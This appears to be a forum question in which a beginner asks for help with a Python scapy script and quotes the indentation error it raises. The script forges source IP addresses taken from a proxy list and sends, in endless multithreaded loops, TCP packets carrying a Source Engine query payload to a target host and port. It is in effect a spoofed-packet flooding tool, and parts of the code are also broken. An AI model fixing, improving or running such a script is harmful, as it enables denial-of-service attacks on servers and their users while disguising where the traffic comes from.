is the first time I'm trying to create packets with python, I'm having an issuse while trying to create a spoofed packet. What should I change to fix it ?
I've followed this guide: Send packet and change its source IP
import random, sys, socket, codecs, threading, ipaddress
from scapy.all import *
ips = open('proxies.txt','r').readlines()
host = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])
payload = bytes.fromhex((lambda s: ("%s%s00" * (len(s)//2)) % tuple(s))('ffffffff54536f7572636520456e67696e6520517565727900')).decode('utf-16-le')
def run():
try:
while True:
proxy = choice(ips)
sip, sport = proxy.split(':')
spoofed_packet = IP(src=sip, dst=host) / TCP(sport=sport, dport=port) / payload
send(spoofed_packet)
except Exception as e:
print(e)
for y in range(threads):
th = threading.Thread(target = run)
th.start()
I'm reciving this error while trying to run but I think there's something wrong in the packet creation.
File "spoof.py", line 19
spoofed_packet = IP(src=sip, dst=host)/TCP(sport=sport, dport=port)/payload
^
TabError: inconsistent use of tabs and spaces in indentation